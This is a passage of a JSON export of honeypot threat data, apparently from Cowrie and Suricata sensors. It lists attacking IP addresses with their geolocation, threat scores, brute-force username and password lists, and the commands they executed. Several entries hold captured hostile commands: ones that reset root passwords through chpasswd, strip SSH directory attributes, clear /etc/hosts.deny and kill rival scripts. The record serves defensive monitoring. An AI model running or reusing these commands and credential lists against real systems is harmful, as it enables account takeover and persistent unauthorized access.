        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T00:18:58.388000+00:00",
        "last_seen_30d": "2026-04-04T00:20:18.052000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "87.244.229.66": {
      "attack_count": 2,
      "first_seen": "2026-04-24T14:20:24.434Z",
      "last_seen": "2026-04-24T14:20:37.799Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Slovakia",
      "country_code": "SK",
      "city": "Skalica",
      "asn": 31117,
      "as_org": "ENERGOTEL a.s.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T14:20:24.434000+00:00",
        "last_seen_30d": "2026-04-24T14:21:39.561000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "87.251.64.150": {
      "attack_count": 2,
      "first_seen": "2026-04-14T16:46:32.258Z",
      "last_seen": "2026-04-14T16:46:32.259Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 200730,
      "as_org": "ISAEV Igor",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 6.7,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 8,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-08T10:35:15+00:00",
        "last_seen_30d": "2026-04-15T10:43:34.649000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Honeytrap": 4,
        "Dionaea": 3,
        "Cowrie": 2
      }
    },
    "88.206.103.105": {
      "attack_count": 2,
      "first_seen": "2026-04-09T07:09:39.587Z",
      "last_seen": "2026-04-09T07:09:53.283Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Chelyabinsk",
      "asn": 8369,
      "as_org": "Intersvyaz-2 JSC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T07:09:39.587000+00:00",
        "last_seen_30d": "2026-04-09T07:11:02.613000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.163.242.3": {
      "attack_count": 2,
      "first_seen": "2026-04-28T20:20:40.112Z",
      "last_seen": "2026-04-28T20:22:40.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "\u00c9pinay-sur-Seine",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:20:40.112000+00:00",
        "last_seen_30d": "2026-04-28T20:33:27.709000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2
      }
    },
    "91.230.168.197": {
      "attack_count": 2,
      "first_seen": "2026-04-12T18:45:09.111Z",
      "last_seen": "2026-04-12T18:45:09.348Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 26,
        "ports_targeted_30d": 110,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T02:43:28.360000+00:00",
        "last_seen_30d": "2026-04-26T12:37:35.310000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 124,
        "Honeytrap": 10,
        "Adbhoney": 2,
        "Cowrie": 2
      }
    },
    "91.231.89.238": {
      "attack_count": 2,
      "first_seen": "2026-04-11T12:35:40.578Z",
      "last_seen": "2026-04-11T12:35:43.582Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 30,
        "ports_targeted_30d": 63,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T02:48:47.855000+00:00",
        "last_seen_30d": "2026-04-30T23:37:39.009000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 143,
        "Honeytrap": 50,
        "Cowrie": 2,
        "Ciscoasa": 1
      }
    },
    "91.231.89.63": {
      "attack_count": 2,
      "first_seen": "2026-04-18T00:12:35.544Z",
      "last_seen": "2026-04-18T00:12:35.550Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 90.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 30,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T13:18:44+00:00",
        "last_seen_30d": "2026-04-30T19:53:30.707000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 39,
        "ConPot": 2,
        "Cowrie": 2,
        "ElasticPot": 1
      }
    },
    "94.51.100.121": {
      "attack_count": 2,
      "first_seen": "2026-04-03T02:34:37.984Z",
      "last_seen": "2026-04-03T02:35:05.955Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Yekaterinburg",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T02:34:37.984000+00:00",
        "last_seen_30d": "2026-04-03T02:36:11.463000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "50.212.116.145": {
      "attack_count": 7700,
      "first_seen": "2026-04-01T00:05:40.189Z",
      "last_seen": "2026-04-15T20:25:54.995Z",
      "sessions": 1522,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123asterisk!",
        "1234Iss@bel",
        "1234asterisk",
        "1234iss@bel",
        "123password",
        "2024pbx!",
        "2025issabel",
        "2025voip",
        "password321",
        "wsx2025!",
        "123456@dmin@",
        "123456FreePbx!",
        "123456Voip",
        "123456adm1n",
        "123456call",
        "123456dsa!!",
        "123456qwe@",
        "123456root",
        "123456wsx",
        "1234Admin!"
      ],
      "commands_executed": [
        "echo login_success"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Waltham",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 12267,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:05:40.189000+00:00",
        "last_seen_30d": "2026-04-15T20:27:03.105000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7700,
        "Suricata": 4567
      }
    },
    "2.57.122.238": {
      "attack_count": 1735,
      "first_seen": "2026-04-03T17:02:13.327Z",
      "last_seen": "2026-04-30T05:41:09.991Z",
      "sessions": 350,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solv",
        "ethereum",
        "node",
        "solana",
        "ubuntu",
        "validator"
      ],
      "passwords_attempted": [
        "12345678",
        "123",
        "1234",
        "123456",
        "ethereum",
        "node",
        "sol",
        "sol123",
        "solana",
        "solv",
        "ubuntu",
        "validator"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 65.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2587,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T17:01:01.216000+00:00",
        "last_seen_30d": "2026-04-30T05:42:15.180000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1735,
        "Suricata": 852
      }
    },
    "172.236.181.100": {
      "attack_count": 1086,
      "first_seen": "2026-04-12T00:15:52.068Z",
      "last_seen": "2026-04-12T00:54:15.546Z",
      "sessions": 226,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "oracle",
        "user",
        "admin",
        "ftpuser",
        "david",
        "dmdba",
        "dspace",
        "minecraft",
        "odoo",
        "user1",
        "user3",
        "0000",
        "123456",
        "abdulla",
        "admin2",
        "administrador",
        "adrien"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "1234",
        "12345678",
        "P@ssw0rd",
        "password",
        "1234567",
        "1qaz@WSX",
        "admin",
        "localhost",
        "p@ssw0rd",
        "root",
        "soporte",
        "0000",
        "0909",
        "1011",
        "111",
        "1111",
        "1111111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 1531,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T00:15:52.068000+00:00",
        "last_seen_30d": "2026-04-12T00:55:22.677000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1086,
        "Suricata": 445
      }
    },
    "103.172.236.241": {
      "attack_count": 849,
      "first_seen": "2026-04-14T00:34:27.179Z",
      "last_seen": "2026-04-24T19:19:51.932Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "ftpuser",
        "ubuntu",
        "user",
        "dev",
        "frappe",
        "markus",
        "sunil",
        "test",
        "test1",
        "user1",
        "admin",
        "alex",
        "ali",
        "awsftpuser",
        "bot",
        "claude",
        "jenny1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "123-QWERTY",
        "123123",
        "123123qq",
        "123456789",
        "123qweASDZXC",
        "1qaz@wsx",
        "1qazxsw2",
        "456852",
        "696969",
        "999999",
        "Aa147258.",
        "Abc123321",
        "Cb123456.",
        "Frappe08!",
        "Frappe28",
        "Joysuch@Locate2020"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"markus\\nAf6Ex8sJm2fg\\nAf6Ex8sJm2fg\\n\"|passwd",
        "echo \"root:92FrhxjT2beA\"|chpasswd|bash",
        "echo \"root:ViTb00mEniWe\"|chpasswd|bash",
        "echo \"root:jTvjwsdNYeDJ\"|chpasswd|bash",
        "echo \"root:pjA1lMTJaNwe\"|chpasswd|bash",
        "echo \"sunil123\\nwZHKibBVquEv\\nwZHKibBVquEv\\n\"|passwd",
        "echo \"test\\nCTJujKCIEKsm\\nCTJujKCIEKsm\\n\"|passwd",
        "echo -e \"markus\\nAf6Ex8sJm2fg\\nAf6Ex8sJm2fg\"|passwd|bash",
        "echo -e \"sunil123\\nwZHKibBVquEv\\nwZHKibBVquEv\"|passwd|bash",
        "echo -e \"test\\nCTJujKCIEKsm\\nCTJujKCIEKsm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38253,
      "as_org": "Hanoi Telecom JSC",
      "threat_score": 40.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1047,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T00:34:27.179000+00:00",
        "last_seen_30d": "2026-04-24T19:20:55.957000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 849,
        "Suricata": 198
      }
    },
    "202.155.157.129": {
      "attack_count": 793,
      "first_seen": "2026-04-03T03:13:33.668Z",
      "last_seen": "2026-04-29T04:36:57.839Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "user",
        "ec2-user",
        "ftpuser",
        "minecraft",
        "oracle",
        "postgres",
        "user1",
        "admin1234",
        "appserver",
        "deployer",
        "developers",
        "elasticsearch",
        "fileuser",
        "frappeuser",
        "git"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1121",
        "123",
        "123321",
        "123321...",
        "1234!@#$",
        "12345678",
        "142536",
        "147258369",
        "521314",
        "6666",
        "886886886",
        "Aa1234&",
        "Abcd@1234",
        "Admin123",
        "Admin2026#",
        "Bdanet@2025.com",
        "Haslo_123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n9VF1dcd4NJU3\\n9VF1dcd4NJU3\\n\"|passwd",
        "echo \"147258369\\no7aeYvcjWk3b\\no7aeYvcjWk3b\\n\"|passwd",
        "echo \"a1b2c3\\nYOlmlZtwgQwi\\nYOlmlZtwgQwi\\n\"|passwd",
        "echo \"pass1234\\nfElrd7RSWMMh\\nfElrd7RSWMMh\\n\"|passwd",
        "echo \"password1234\\n9nzHq7fW2qpO\\n9nzHq7fW2qpO\\n\"|passwd",
        "echo \"root:ovotMlC7GAN3\"|chpasswd|bash",
        "echo -e \"123456\\n9VF1dcd4NJU3\\n9VF1dcd4NJU3\"|passwd|bash",
        "echo -e \"147258369\\no7aeYvcjWk3b\\no7aeYvcjWk3b\"|passwd|bash",
        "echo -e \"a1b2c3\\nYOlmlZtwgQwi\\nYOlmlZtwgQwi\"|passwd|bash",
        "echo -e \"pass1234\\nfElrd7RSWMMh\\nfElrd7RSWMMh\"|passwd|bash",
        "echo -e \"password1234\\n9nzHq7fW2qpO\\n9nzHq7fW2qpO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138115,
      "as_org": "PT Deneva",
      "threat_score": 62.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30.0,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 993,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:13:33.668000+00:00",
        "last_seen_30d": "2026-04-29T04:38:05.064000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 793,
        "Suricata": 200
      }
    },
    "103.59.94.117": {
      "attack_count": 683,
      "first_seen": "2026-04-02T00:10:14.881Z",
      "last_seen": "2026-04-21T17:04:04.668Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "postgres",
        "steam",
        "admin",
        "sammy",
        "server",
        "andreas",
        "bot",
        "claude",
        "frappe",
        "fts",
        "git",
        "lihui",
        "main",
        "mike",
        "mtcl",
        "n8n",
        "ossadm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "000",
        "02025025Ionela",
        "12344321",
        "123qwe!@#",
        "1QAZ2wsx!@#",
        "456rty$%^",
        "5202414cc",
        "5454",
        "A1234562",
        "Abc.1234",
        "Admin123456789!",
        "Admin@huawei",
        "Changeme_123",
        "Dragon123",
        "Gd@ta2025",
        "Heslo123",
        "Mexico2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12344321\\nXoFKhJeuBbks\\nXoFKhJeuBbks\\n\"|passwd",
        "echo \"newpass\\nghY2PXDN0Gpj\\nghY2PXDN0Gpj\\n\"|passwd",
        "echo \"root:ParVq77qVcBr\"|chpasswd|bash",
        "echo \"root:hr9xV65OI7Wm\"|chpasswd|bash",
        "echo \"test123\\nXs6xqg2vWXqU\\nXs6xqg2vWXqU\\n\"|passwd",
        "echo -e \"12344321\\nXoFKhJeuBbks\\nXoFKhJeuBbks\"|passwd|bash",
        "echo -e \"newpass\\nghY2PXDN0Gpj\\nghY2PXDN0Gpj\"|passwd|bash",
        "echo -e \"test123\\nXs6xqg2vWXqU\\nXs6xqg2vWXqU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 863,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T00:10:14.881000+00:00",
        "last_seen_30d": "2026-04-21T17:05:13.839000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 683,
        "Suricata": 180
      }
    },
    "181.167.144.229": {
      "attack_count": 679,
      "first_seen": "2026-04-13T10:25:33.669Z",
      "last_seen": "2026-04-29T00:08:56.949Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "ali",
        "345gs5662d34",
        "admin",
        "user",
        "mysql",
        "egarcia",
        "ftpuser",
        "server",
        "steam",
        "test1",
        "acct",
        "ansadmin",
        "arkserver",
        "clamav",
        "deploy",
        "ec2-user",
        "frappe",
        "ftpusers"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123456",
        "1q2w3e4r5t",
        "Aa112211.",
        "p@ssw0rd",
        "!@#QWE123qwe",
        "#EDC4rfv",
        "11",
        "121212",
        "123$qweR",
        "123321",
        "1234",
        "1234.qwe",
        "12345",
        "123456789z",
        "12345687",
        "159357qaz",
        "1q2w3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nxjFy8NvoNERY\\nxjFy8NvoNERY\\n\"|passwd",
        "echo \"1q2w3\\n456zArYPQPgc\\n456zArYPQPgc\\n\"|passwd",
        "echo \"Server20!\\nB5d0EgI0SpuU\\nB5d0EgI0SpuU\\n\"|passwd",
        "echo \"root:Tjyga4h0FSkn\"|chpasswd|bash",
        "echo -e \"123456\\nxjFy8NvoNERY\\nxjFy8NvoNERY\"|passwd|bash",
        "echo -e \"1q2w3\\n456zArYPQPgc\\n456zArYPQPgc\"|passwd|bash",
        "echo -e \"Server20!\\nB5d0EgI0SpuU\\nB5d0EgI0SpuU\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.5,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 882,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T10:25:33.669000+00:00",
        "last_seen_30d": "2026-04-29T00:10:04.137000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 679,
        "Suricata": 203
      }
    },
    "36.64.162.195": {
      "attack_count": 666,
      "first_seen": "2026-04-14T16:42:18.952Z",
      "last_seen": "2026-04-28T02:27:58.329Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "tester",
        "bot",
        "denis",
        "sammy",
        "steam",
        "steam1",
        "test",
        "ubuntu",
        "user1",
        "user53",
        "zqliu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsxg",
        "!qaz2wsx",
        "0m0n0b0v0c0x0z",
        "1234-qwer",
        "1234567890",
        "12345qwert",
        "123qweASD456",
        "1qwerty",
        "68vVBBw@d83O#n@QsRSkFVWZ6malzd!9YEIR8rQ&7KV*Oht^2&FN",
        "7uj8ik9ol",
        "@dm1n",
        "A1234567891011121314151617181920",
        "Abcd1#$",
        "Asdf",
        "DDbb123",
        "Hetzner2025#",
        "Hosting123",
        "Huawei222222"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:ETyYnMWZYuYV\"|chpasswd|bash",
